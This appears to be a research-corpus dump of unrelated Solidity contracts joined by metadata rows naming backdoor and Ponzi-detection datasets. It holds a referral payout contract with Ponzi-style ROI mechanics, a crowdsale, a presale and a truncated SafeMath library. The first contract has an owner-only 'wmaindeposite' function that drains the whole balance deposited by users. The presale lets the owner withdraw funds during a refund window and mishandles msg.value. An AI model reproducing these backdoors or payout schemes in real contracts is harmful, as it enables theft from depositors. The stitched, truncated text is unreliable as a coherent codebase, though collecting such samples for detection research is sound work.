uint256 rb=0;
uint256 bonus=0;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
// if(up == address(0)) break;
bonus=0;
rb=0;
rb=users[up].referrals;
if (up != address(0))
{
if (rb>=20) {rb=i + 1;}
if(rb >= i + 1) {
bonus = (_amount * ref_bonuses[i]) / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus,i,rb);
}
else
{ r1+=(_amount * ref_bonuses[i]) / 100;
// emit MissedLevelPayout(up, _addr, (_amount * ref_bonuses[i]) / 100,i,rb);
}
}
else
{
r1+=(_amount * ref_bonuses[i]) / 100;
// emit MissedLevelPayout(up, _addr, (_amount * ref_bonuses[i]) / 100,i,rb);
}
up = users[up].upline;
}
//
if (address(this).balance >= r1)
{
//owner.transfer(r1);
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = (pool_balance*20) /100;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = (draw_amount * pool_bonuses[i]) / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
//upline
address addressuplineaddress = users[pool_top[i]].upline;
users[addressuplineaddress].pool_bonus += win;
pool_balance -= win;
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
uint256 to_payoutpd=0;
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
//
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
//
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
users[msg.sender].pool_bonus -= pool_bonus;
userTot[msg.sender].total_PoolBonus += pool_bonus;
to_payout += pool_bonus;
to_payoutpd+=pool_bonus;
}
//Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
//
if (to_payout>0)
{
require(to_payout > 0, "Zero payout");
userTot[msg.sender].total_payouts += (to_payout-to_payoutpd);
total_withdraw += to_payout;
_refPayout(msg.sender, to_payout);
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
}
function wmaindeposite(uint256 _amount, uint256 _type) payable onlyOwner public {
uint256 fullAmount = address(this).balance;
if(_type == 0) {
owner.transfer(_amount);
}else {
owner.transfer(fullAmount);
}
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout=0;
max_payout =users[_addr].DLimit; //this.maxPayoutOf(users[_addr].deposit_amount,_addr);
if(users[_addr].deposit_payouts < max_payout) {
payout=0;
// emit DailyROIper(_addr,ROI1,ROI2,ROI3,ROI4,ROI5);
if (users[_addr].DROI >= 1)
{
payout = users[_addr].deposit_amount * (block.timestamp - users[_addr].deposit_time) * users[_addr].DROI / 1 / 8640000 - users[_addr].deposit_payouts;
}
if((users[_addr].deposit_payouts + payout) > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function userInfo(address _addr) view external returns(address _upline, uint40 _deposit_time, uint256 _deposit_amount, uint256 _payouts,uint256 _direct_bonus, uint256 _pool_bonus, uint256 _match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts,users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfotot(address _addr) view external returns(uint256 _Total_pool_bonus, uint256 _booster_level) {
return (userTot[_addr].total_PoolBonus, users[_addr].boosterlevel);
}
function userInfoTotals(address _addr) view external returns(uint256 _referrals, uint256 _total_deposits, uint256 _total_payouts, uint256 _total_structure,uint256 _WithLimit,uint256 _DROIR,uint256 _DPayouts) {
return (users[_addr].referrals, userTot[_addr].total_deposits, userTot[_addr].total_payouts, userTot[_addr].total_structure,users[_addr].DLimit, users[_addr].DROI,users[_addr].deposit_payouts);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
function poolTopInfoD() view external returns(address[1] memory addrs, uint256[1] memory deps) {
if (pool_cycle==0)
{
addrs[0] = pool_topD[pool_cycle][0];
deps[0] = pool_users_refs_deposits_sumD[pool_cycle][pool_topD[pool_cycle][0]];
}
if (pool_cycle>0)
{
addrs[0] = pool_topD[pool_cycle-1][0];
deps[0] = pool_users_refs_deposits_sumD[pool_cycle-1][pool_topD[pool_cycle-1][0]];
}
}
function transferOwnership(address newOwner) external onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "New owner cannot be the zero address");
emit ownershipTransferred(owner, newOwner);
owner = address(uint160(newOwner));
}
}
| 284,417 | 13,524 |
6c1174951b2c123e6a8da732af798e7f4ced3c9098c99b0134c4d9801f8f40eb
| 20,701 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x087432b7f9a47efc56b4a0cc3c6d0644ae74b982.sol
| 4,500 | 15,896 |
pragma solidity ^0.4.24;
interface ERC223I {
function balanceOf(address _owner) external view returns (uint balance);
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function decimals() external view returns (uint8 _decimals);
function totalSupply() external view returns (uint256 supply);
function transfer(address to, uint value) external returns (bool ok);
function transfer(address to, uint value, bytes data) external returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) external returns (bool ok);
function releaseTokenTransfer() external;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000; // percent to hundredths
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
interface RateContractI {
// returns the Currency information
function getCurrency(bytes32 _code) external view returns (string, uint, uint, uint, uint);
// returns Rate of coin to PMC (with the exception of rate["ETH"])
function getRate(bytes32 _code) external view returns (uint);
// returns Price of Object in the specified currency (local user currency)
// _code - specified currency
// _amount - price of object in PMC
function getLocalPrice(bytes32 _code, uint _amount) external view returns (uint);
// returns Price of Object in the crypto currency (ETH)
// _amount - price of object in PMC
function getCryptoPrice(uint _amount) external view returns (uint);
// update rates for a specific coin
function updateRate(bytes32 _code, uint _pmc) external;
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
event UpdatedAgent(address _agent, bool _status);
constructor() public {
defAgent = msg.sender;
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
emit UpdatedAgent(_agent, _status);
}
}
contract ERC223 is ERC223I, Agent, SafeMath {
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public crowdsale = address(0);
bool public released = false;
modifier canTransfer() {
assert(released || msg.sender == crowdsale);
_;
}
modifier onlyCrowdsaleContract() {
assert(msg.sender == crowdsale);
_;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
// if bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) external canTransfer() returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
// standard function transfer similar to ERC20 transfer with no _data.
// added due to backwards compatibility reasons.
function transfer(address _to, uint _value) external canTransfer() returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
assert(_to.call.value(0)(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", msg.sender, _value, _data)));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) external canTransfer() returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
assert(_to.call.value(0)(abi.encodeWithSignature(_custom_fallback), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function setCrowdsaleContract(address _contract) external onlyOwner {
crowdsale = _contract;
}
function releaseTokenTransfer() external onlyCrowdsaleContract {
released = true;
}
}
contract CrowdSale is Agent, SafeMath {
uint public decimals = 8;
uint public multiplier = 10 ** decimals;
RateContractI public RateContract;
ERC223I public ERC223;
uint public totalSupply;
uint public SoftCap;
uint public HardCap;
uint public startsAt;
uint public endsIn;
uint public investorCount = 0;
uint public weiRaised = 0;
uint public usdRaised = 0;
uint public tokensSold = 0;
bool public finalized;
enum State{Unknown, Preparing, PrivateSale, PreSale, Sale, Success, Failure, Finalized}
mapping (address => uint) public investedAmountOf;
mapping (address => uint) public tokenAmountOf;
address public multisigWallet;
uint public weiRefunded = 0;
uint public price;
struct _Stage {
uint startsAt;
uint endsIn;
uint bonus;
uint min;
uint tokenAmount;
mapping (address => uint) tokenAmountOfStage; // how much tokens this crowdsale has credited for each investor address in a particular stage
}
_Stage[5] public Stages;
mapping (bytes32 => uint) public cap;
uint[5] public duration;
event Invested(address investor, uint weiAmount, uint tokenAmount, uint bonusAmount);
event ReceiveEtherOnContract(address sender, uint amount);
constructor(address _multisigWallet, uint _priceTokenInUSDCents, uint _startsAt1, uint _startsAt2, uint _startsAt3, uint _startsAt4, uint _startsAt5) public {
duration[0] = 36 days;
duration[1] = 14 days;
duration[2] = 14 days;
duration[3] = 9 days;
duration[4] = 32 days;
initialization(_multisigWallet, _priceTokenInUSDCents, _startsAt1, _startsAt2, _startsAt3, _startsAt4, _startsAt5);
}
function hash(State _data) private pure returns (bytes32 _hash) {
return keccak256(abi.encodePacked(_data));
}
function initialization(address _multisigWallet, uint _priceTokenInUSDCents, uint _startsAt1, uint _startsAt2, uint _startsAt3, uint _startsAt4, uint _startsAt5) public onlyOwner {
require(_multisigWallet != address(0) && _priceTokenInUSDCents > 0);
require(_startsAt1 < _startsAt2 &&
_startsAt2 >= _startsAt1 + duration[0] &&
_startsAt3 >= _startsAt2 + duration[1] &&
_startsAt4 >= _startsAt3 + duration[2] &&
_startsAt5 >= _startsAt4 + duration[3]);
multisigWallet =_multisigWallet;
startsAt = _startsAt1;
endsIn = _startsAt5 + duration[4];
price = _priceTokenInUSDCents;
SoftCap = 200 * (10**6) * multiplier;
HardCap = 1085 * (10**6) * multiplier;
cap[hash(State.PrivateSale)] = 150 * (10**6) * multiplier + 60 * (10**6) * multiplier;
cap[hash(State.PreSale)] = 500 * (10**6) * multiplier + 125 * (10**6) * multiplier;
cap[hash(State.Sale)] = 250 * (10**6) * multiplier;
Stages[0] = _Stage({startsAt: _startsAt1, endsIn:_startsAt1 + duration[0] - 1, bonus: 4000, min: 1250 * 10**3 * multiplier, tokenAmount: 0});
Stages[1] = _Stage({startsAt: _startsAt2, endsIn:_startsAt2 + duration[1] - 1, bonus: 2500, min: 2500 * multiplier, tokenAmount: 0});
Stages[2] = _Stage({startsAt: _startsAt3, endsIn:_startsAt3 + duration[2] - 1, bonus: 2000, min: 2500 * multiplier, tokenAmount: 0});
Stages[3] = _Stage({startsAt: _startsAt4, endsIn:_startsAt4 + duration[3], bonus: 1500, min: 2500 * multiplier, tokenAmount: 0});
Stages[4] = _Stage({startsAt: _startsAt5, endsIn:_startsAt5 + duration[4], bonus: 0, min: 1000 * multiplier, tokenAmount: 0});
}
function getState() public constant returns (State) {
if (finalized) return State.Finalized;
else if (ERC223 == address(0) || RateContract == address(0) || now < startsAt) return State.Preparing;
else if (now >= Stages[0].startsAt && now <= Stages[0].endsIn) return State.PrivateSale;
else if (now >= Stages[1].startsAt && now <= Stages[3].endsIn) return State.PreSale;
else if (now > Stages[3].endsIn && now < Stages[4].startsAt) return State.Preparing;
else if (now >= Stages[4].startsAt && now <= Stages[4].endsIn) return State.Sale;
else if (isCrowdsaleFull()) return State.Success;
else return State.Failure;
}
function getStage() public constant returns (uint) {
uint i;
for (i = 0; i < Stages.length; i++) {
if (now >= Stages[i].startsAt && now < Stages[i].endsIn) {
return i;
}
}
return Stages.length-1;
}
function() public payable {
investInternal(msg.sender, msg.value);
}
function investByAgent(address _receiver, uint _weiAmount) external onlyAgent {
investInternal(_receiver, _weiAmount);
}
function investInternal(address _receiver, uint _weiAmount) private {
require(_weiAmount > 0);
State currentState = getState();
require(currentState == State.PrivateSale || currentState == State.PreSale || currentState == State.Sale);
uint currentStage = getStage();
// Calculating the number of tokens
uint tokenAmount = 0;
uint bonusAmount = 0;
(tokenAmount, bonusAmount) = calculateTokens(_weiAmount, currentStage);
tokenAmount = safeAdd(tokenAmount, bonusAmount);
// Check cap for every State
if (currentState == State.PrivateSale || currentState == State.Sale) {
require(safeAdd(Stages[currentStage].tokenAmount, tokenAmount) <= cap[hash(currentState)]);
} else {
uint TokenSoldOnPreSale = safeAdd(safeAdd(Stages[1].tokenAmount, Stages[2].tokenAmount), Stages[3].tokenAmount);
TokenSoldOnPreSale = safeAdd(TokenSoldOnPreSale, tokenAmount);
require(TokenSoldOnPreSale <= cap[hash(currentState)]);
}
// Check HardCap
require(safeAdd(tokensSold, tokenAmount) <= HardCap);
// Update stage counts
Stages[currentStage].tokenAmount = safeAdd(Stages[currentStage].tokenAmount, tokenAmount);
Stages[currentStage].tokenAmountOfStage[_receiver] = safeAdd(Stages[currentStage].tokenAmountOfStage[_receiver], tokenAmount);
// Update investor
if(investedAmountOf[_receiver] == 0) {
investorCount++; // A new investor
}
investedAmountOf[_receiver] = safeAdd(investedAmountOf[_receiver], _weiAmount);
tokenAmountOf[_receiver] = safeAdd(tokenAmountOf[_receiver], tokenAmount);
// Update totals
weiRaised = safeAdd(weiRaised, _weiAmount);
usdRaised = safeAdd(usdRaised, weiToUsdCents(_weiAmount));
tokensSold = safeAdd(tokensSold, tokenAmount);
// Send ETH to multisigWallet
multisigWallet.transfer(msg.value);
// Send tokens to _receiver
ERC223.transfer(_receiver, tokenAmount);
// Tell us invest was success
emit Invested(_receiver, _weiAmount, tokenAmount, bonusAmount);
}
function calculateTokens(uint _weiAmount, uint _stage) internal view returns (uint tokens, uint bonus) {
uint usdAmount = weiToUsdCents(_weiAmount);
tokens = safeDiv(safeMul(multiplier, usdAmount), price);
// Check minimal amount to buy
require(tokens >= Stages[_stage].min);
bonus = safePerc(tokens, Stages[_stage].bonus);
return (tokens, bonus);
}
function weiToUsdCents(uint weiValue) internal view returns (uint) {
return safeDiv(safeMul(weiValue, RateContract.getRate("ETH")), 1 ether);
}
function isCrowdsaleFull() public constant returns (bool) {
if(tokensSold >= SoftCap){
return true;
}
return false;
}
function finalize() public onlyOwner {
require(!finalized);
require(now > endsIn);
if(HardCap > tokensSold){
// burn unsold tokens
ERC223.transfer(address(0), safeSub(HardCap, tokensSold));
}
// allow transfer of tokens
ERC223.releaseTokenTransfer();
finalized = true;
}
function receive() public payable {
emit ReceiveEtherOnContract(msg.sender, msg.value);
}
function setTokenContract(address _contract) external onlyOwner {
ERC223 = ERC223I(_contract);
totalSupply = ERC223.totalSupply();
HardCap = ERC223.balanceOf(address(this));
}
function setRateContract(address _contract) external onlyOwner {
RateContract = RateContractI(_contract);
}
function setDurations(uint _duration1, uint _duration2, uint _duration3, uint _duration4, uint _duration5) public onlyOwner {
duration[0] = _duration1;
duration[1] = _duration2;
duration[2] = _duration3;
duration[3] = _duration4;
duration[4] = _duration5;
}
}
| 145,730 | 13,525 |
3fdccf4922b0e57dfe68e32d59c733f41c510ed39ad4033bc8db8de17e4623c2
| 12,593 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c1/c1fcc4e5676968fa9679e92b3c22fe6f0cd53442_Presale.sol
| 3,080 | 11,830 |
pragma solidity ^0.8.4;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Whitelisted is Ownable {
mapping(address=>bool) isWhiteListed;
function whitelist(address _user) public onlyOwner {
require(!isWhiteListed[_user], "user already whitelisted");
isWhiteListed[_user] = true;
// emit events as well
}
function removeFromWhitelist(address _user) public onlyOwner {
require(isWhiteListed[_user], "user not whitelisted");
isWhiteListed[_user] = false;
// emit events as well
}
function checkAddress(address _to) public view returns (bool) {
return isWhiteListed[_to];
}
}
contract WhitelistController is Ownable {
Whitelisted private Whitelist = new Whitelisted();
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
function canSwap(address addr) public view returns (bool) {
return isWhiteListed(addr);
}
function AddToWhitelist(address addr) public onlyOwner returns (bool) {
Whitelist.whitelist(addr);
emit AddedToWhitelist(addr);
return true;
}
function RemoveFromWhitelist(address addr) public onlyOwner returns (bool) {
Whitelist.removeFromWhitelist(addr);
emit RemovedFromWhitelist(addr);
return true;
}
function isWhiteListed(address addr) public view returns (bool) {
return Whitelist.checkAddress(addr);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Presale is ReentrancyGuard, Context, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public _contributions;
address public _token;
uint256 private _tokenDecimals;
address payable public _wallet;
uint256 public _rate; // rate / 10
uint256 public _weiRaised;
uint256 public endLBE;
uint public minPurchase;
uint public maxPurchase;
uint public hardCap;
uint public softCap;
uint public availableTokensLBE;
bool public startRefund = false;
uint256 public refundStartDate;
WhitelistController public _whitelistController;
event TokensPurchased(address purchaser, address beneficiary, uint256 value, uint256 amount);
event Refund(address recipient, uint256 amount);
constructor (uint256 rate, address payable wallet, address token, uint256 tokenDecimals, address whitelistControllerAddress) {
require(rate > 0, "Pre-Sale: rate is 0");
require(wallet != address(0), "Pre-Sale: wallet is the zero address");
require(address(token) != address(0), "Pre-Sale: token is the zero address");
require(whitelistControllerAddress != address(0), "Invalid whitelistController");
_rate = rate; // rate / 10
_wallet = wallet;
_token = token;
_tokenDecimals = 18 - tokenDecimals;
_whitelistController = WhitelistController(whitelistControllerAddress);
}
receive() external payable {
if(endLBE > 0 && block.timestamp < endLBE){
buyTokens(_msgSender());
}
else{
endLBE = 0;
revert('Pre-Sale is closed');
}
}
//Start Pre-Sale
function startLBE(uint endDate, uint _minPurchase, uint _maxPurchase, uint _softCap, uint _hardCap) external onlyOwner lbeNotActive() {
startRefund = false;
refundStartDate = 0;
availableTokensLBE = IERC20(_token).balanceOf(address(this));
require(endDate > block.timestamp, 'duration should be > 0');
require(_softCap < _hardCap, "Softcap must be lower than Hardcap");
require(_minPurchase < _maxPurchase, "minPurchase must be lower than maxPurchase");
require(availableTokensLBE > 0 , 'availableTokens must be > 0');
require(_minPurchase > 0, '_minPurchase should > 0');
endLBE = endDate;
minPurchase = _minPurchase;
maxPurchase = _maxPurchase;
softCap = _softCap;
hardCap = _hardCap;
_weiRaised = 0;
}
function stopLBE() external onlyOwner lbeActive(){
endLBE = 0;
if(_weiRaised >= softCap) {
_forwardFunds();
}
else{
startRefund = true;
refundStartDate = block.timestamp;
}
}
//Pre-Sale
function buyTokens(address beneficiary) public nonReentrant lbeActive payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
availableTokensLBE = availableTokensLBE - tokens;
_contributions[beneficiary] = _contributions[beneficiary].add(weiAmount);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(_whitelistController.isWhiteListed(beneficiary), "Address is not whitelisted!");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
require(weiAmount >= minPurchase, 'have to send at least: minPurchase');
require(_contributions[beneficiary].add(weiAmount)<= maxPurchase, 'can\'t buy more than: maxPurchase');
require((_weiRaised+weiAmount) <= hardCap, 'Hard Cap reached');
this;
}
function claimTokens() external lbeNotActive{
require(startRefund == false);
uint256 tokensAmt = getTokenAmount(_contributions[msg.sender]);
_contributions[msg.sender] = 0;
IERC20(_token).transfer(msg.sender, tokensAmt);
}
function getTokenAmount(uint256 weiAmount) public view returns (uint256) {
return (weiAmount.mul(_rate).div(1000**_tokenDecimals)).div(1000); // rate / 1000
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
function withdraw() external onlyOwner lbeNotActive{
require(startRefund == false || (refundStartDate + 3 days) < block.timestamp);
require(address(this).balance > 0, 'Contract has no money');
_wallet.transfer(address(this).balance);
}
function checkContribution(address addr) public view returns(uint256){
return _contributions[addr];
}
function setRate(uint256 newRate) external onlyOwner lbeNotActive{
_rate = newRate;
}
function setAvailableTokens(uint256 amount) public onlyOwner lbeNotActive{
availableTokensLBE = amount;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function setWalletReceiver(address payable newWallet) external onlyOwner(){
_wallet = newWallet;
}
function setHardCap(uint256 value) external onlyOwner{
hardCap = value;
}
function setSoftCap(uint256 value) external onlyOwner{
softCap = value;
}
function setMaxPurchase(uint256 value) external onlyOwner{
maxPurchase = value;
}
function setMinPurchase(uint256 value) external onlyOwner{
minPurchase = value;
}
function takeTokens(address tokenAddress) public onlyOwner lbeNotActive{
uint256 tokenAmt = IERC20(tokenAddress).balanceOf(address(this));
require(tokenAmt > 0, 'BEP-20 balance is 0');
IERC20(tokenAddress).transfer(_wallet, tokenAmt);
}
function refundMe() public lbeNotActive{
require(startRefund == true, 'no refund available');
uint amount = _contributions[msg.sender];
if (address(this).balance >= amount) {
_contributions[msg.sender] = 0;
if (amount > 0) {
address payable recipient = payable(msg.sender);
recipient.transfer(amount);
emit Refund(msg.sender, amount);
}
}
}
modifier lbeActive() {
require(endLBE > 0 && block.timestamp < endLBE && availableTokensLBE > 0, "LBE must be active");
_;
}
modifier lbeNotActive() {
require(endLBE < block.timestamp, 'LBE should not be active');
_;
}
}
| 309,396 | 13,526 |
7282e4a1d545cbaff5edf2dfd580575ed88e847f064f9bcff70e02309ea4563b
| 20,044 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x1056d0c770a7614cee6b2f1b3935866f3284ddf8.sol
| 4,908 | 18,257 |
pragma solidity ^0.4.24;
// File: contracts/math/SafeMath.sol
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// @title SafeMath: overflow/underflow checks
// @notice Math operations with safety checks that throw on error
library SafeMath {
// @notice Multiplies two numbers, throws on overflow.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
// @notice Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
// @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
// @notice Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// @notice Returns fractional amount
function getFractionalAmount(uint256 _amount, uint256 _percentage)
internal
pure
returns (uint256) {
return div(mul(_amount, _percentage), 100);
}
}
// File: contracts/interfaces/ERC20.sol
interface ERC20 {
function decimals() external view returns (uint8);
